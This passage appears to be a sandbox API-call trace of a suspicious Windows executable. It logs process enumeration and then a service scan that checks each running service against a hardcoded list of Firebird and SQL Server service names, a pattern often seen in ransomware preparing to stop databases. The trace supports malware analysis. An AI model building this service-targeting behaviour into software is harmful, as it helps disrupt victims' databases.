	[0066.404] Process32NextW (in: hSnapshot=0x31c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1194, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0066.404] lstrlenW (lpString="conhost.exe") returned 11
	[0066.404] Process32NextW (in: hSnapshot=0x31c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1208, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1178, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0066.405] lstrlenW (lpString="conhost.exe") returned 11
	[0066.405] Process32NextW (in: hSnapshot=0x31c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0066.405] lstrlenW (lpString="svchost.exe") returned 11
	[0066.406] Process32NextW (in: hSnapshot=0x31c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x13a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fvppjh.exe")) returned 1
	[0066.406] lstrlenW (lpString="fvppjh.exe") returned 10
	[0066.406] Process32NextW (in: hSnapshot=0x31c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0066.407] lstrlenW (lpString="svchost.exe") returned 11
	[0066.407] Process32NextW (in: hSnapshot=0x31c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x13a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0066.407] lstrlenW (lpString="cmd.exe") returned 7
	[0066.407] Process32NextW (in: hSnapshot=0x31c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1158, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0066.408] lstrlenW (lpString="conhost.exe") returned 11
	[0066.408] Process32NextW (in: hSnapshot=0x31c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1158, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0
	[0066.474] CloseHandle (hObject=0x31c) returned 1
	[0066.474] Sleep (dwMilliseconds=0x1f4) 
	[0067.688] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x75e840
	[0067.688] EnumServicesStatusExW (in: hSCManager=0x75e840, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x255ff3c, lpServicesReturned=0x255ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x255ff3c, lpServicesReturned=0x255ff54, lpResumeHandle=0x0) returned 0
	[0067.689] GetLastError () returned 0xea
	[0067.689] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x1ce8) returned 0x7820a0
	[0067.689] EnumServicesStatusExW (in: hSCManager=0x75e840, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x7820a0, cbBufSize=0x1ce8, pcbBytesNeeded=0x255ff3c, lpServicesReturned=0x255ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x7820a0, pcbBytesNeeded=0x255ff3c, lpServicesReturned=0x255ff54, lpResumeHandle=0x0) returned 1
	[0067.689] CloseServiceHandle (hSCObject=0x75e840) returned 1
	[0067.690] lstrlenW (lpString="Appinfo") returned 7
	[0067.690] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0067.690] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0067.690] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0067.690] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0067.690] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0067.690] lstrlenW (lpString="AppXSvc") returned 7
	[0067.690] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0067.690] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0067.690] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0067.690] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0067.690] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0067.690] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0067.690] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0067.690] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0067.690] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0067.690] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0067.690] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0067.690] lstrlenW (lpString="Audiosrv") returned 8
	[0067.690] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0067.690] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0067.690] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0067.690] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0067.690] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0067.690] lstrlenW (lpString="BFE") returned 3
	[0067.691] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0067.691] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0067.691] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0067.691] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0067.691] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0067.691] lstrlenW (lpString="BITS") returned 4
	[0067.691] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1
	[0067.691] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1
	[0067.691] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1
	[0067.691] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1
	[0067.691] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1
	[0067.691] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0067.691] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0067.691] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0067.691] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0067.691] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0067.691] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0067.691] lstrlenW (lpString="CDPSvc") returned 6
	[0067.691] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0067.691] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0067.691] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0067.691] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0067.691] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0067.691] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0067.691] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0067.691] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0067.691] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0067.691] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0067.691] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0067.691] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0067.691] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0067.691] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0067.691] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0067.691] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0067.691] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0067.691] lstrlenW (lpString="CryptSvc") returned 8
	[0067.691] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0067.692] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0067.692] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0067.692] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0067.692] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0067.692] lstrlenW (lpString="DcomLaunch") returned 10
	[0067.692] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0067.692] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0067.692] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0067.692] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0067.692] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0067.692] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0067.692] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0067.692] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0067.692] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0067.692] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0067.692] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0067.692] lstrlenW (lpString="Dhcp") returned 4
	[0067.692] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0067.692] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0067.692] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0067.692] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0067.692] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0067.692] lstrlenW (lpString="Dnscache") returned 8
	[0067.692] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0067.692] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0067.692] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0067.692] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0067.692] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0067.692] lstrlenW (lpString="DoSvc") returned 5
	[0067.692] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1
	[0067.692] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1
	[0067.692] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1
	[0067.692] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1
	[0067.692] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1
	[0067.692] lstrlenW (lpString="DPS") returned 3
	[0067.692] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0067.692] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0067.693] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0067.693] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0067.693] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0067.693] lstrlenW (lpString="DusmSvc") returned 7
	[0067.693] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0067.693] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0067.693] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0067.693] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0067.693] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0067.693] lstrlenW (lpString="EventLog") returned 8
	[0067.693] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0067.693] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0067.693] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0067.693] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0067.693] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0067.693] lstrlenW (lpString="EventSystem") returned 11
	[0067.693] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0067.693] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0067.693] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0067.693] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0067.693] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0067.693] lstrlenW (lpString="FontCache") returned 9
	[0067.693] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0067.693] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0067.693] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0067.693] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0067.693] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0067.693] lstrlenW (lpString="gpsvc") returned 5
	[0067.693] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0067.693] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0067.693] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0067.693] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0067.693] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0067.693] lstrlenW (lpString="iphlpsvc") returned 8
	[0067.693] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0067.693] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0067.693] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0067.694] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0067.694] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0067.694] lstrlenW (lpString="KeyIso") returned 6
	[0067.694] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0067.694] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0067.694] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0067.694] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0067.694] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0067.694] lstrlenW (lpString="LanmanServer") returned 12
	[0067.694] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0067.694] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0067.694] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0067.694] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0067.694] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0067.694] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0067.694] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0067.694] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0067.694] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0067.694] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0067.694] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0067.694] lstrlenW (lpString="lfsvc") returned 5
	[0067.694] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0067.694] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0067.694] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0067.694] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0067.694] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0067.694] lstrlenW (lpString="lmhosts") returned 7
	[0067.694] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0067.694] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0067.694] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0067.694] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0067.694] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0067.694] lstrlenW (lpString="LSM") returned 3
	[0067.694] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0067.694] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0067.694] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0067.695] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0067.695] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0067.695] lstrlenW (lpString="MapsBroker") returned 10
	[0067.695] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1
	[0067.695] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1
	[0067.695] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1
	[0067.695] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1
	[0067.695] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1
	[0067.695] lstrlenW (lpString="MpsSvc") returned 6
	[0067.695] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0067.695] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0067.695] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0067.695] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0067.695] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0067.695] lstrlenW (lpString="NcbService") returned 10
	[0067.695] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0067.695] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0067.695] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0067.695] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0067.695] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0067.695] lstrlenW (lpString="netprofm") returned 8
	[0067.695] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0067.695] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0067.695] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0067.695] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0067.695] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0067.695] lstrlenW (lpString="NlaSvc") returned 6
	[0067.695] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0067.695] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0067.695] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0067.695] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0067.695] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0067.695] lstrlenW (lpString="nsi") returned 3
	[0067.695] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0067.695] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0067.695] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0067.695] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0067.695] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0067.696] lstrlenW (lpString="PcaSvc") returned 6
	[0067.696] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0067.696] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0067.696] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0067.696] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0067.696] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0067.696] lstrlenW (lpString="PlugPlay") returned 8
	[0067.696] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0067.696] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0067.696] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0067.696] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0067.696] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0067.696] lstrlenW (lpString="Power") returned 5
	[0067.696] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0067.696] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0067.696] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0067.696] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0067.696] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0067.696] lstrlenW (lpString="ProfSvc") returned 7
	[0067.696] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0067.696] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0067.696] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0067.696] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0067.696] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0067.696] lstrlenW (lpString="RpcEptMapper") returned 12
	[0067.696] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0067.696] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0067.696] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0067.696] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0067.696] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0067.696] lstrlenW (lpString="RpcSs") returned 5
	[0067.696] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0067.696] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0067.696] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0067.696] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0067.696] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0067.697] lstrlenW (lpString="SamSs") returned 5
	[0067.697] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0067.697] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0067.697] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0067.697] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0067.697] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0067.697] lstrlenW (lpString="Schedule") returned 8
	[0067.697] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0067.697] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0067.697] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0067.697] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0067.697] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0067.697] lstrlenW (lpString="SecurityHealthService") returned 21
	[0067.697] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0067.697] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0067.697] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0067.697] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0067.697] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0067.697] lstrlenW (lpString="SENS") returned 4
	[0067.697] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0067.697] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0067.697] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0067.697] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0067.697] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0067.697] lstrlenW (lpString="ShellHWDetection") returned 16
	[0067.697] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0067.697] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0067.697] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0067.697] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0067.697] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0067.697] lstrlenW (lpString="Spooler") returned 7
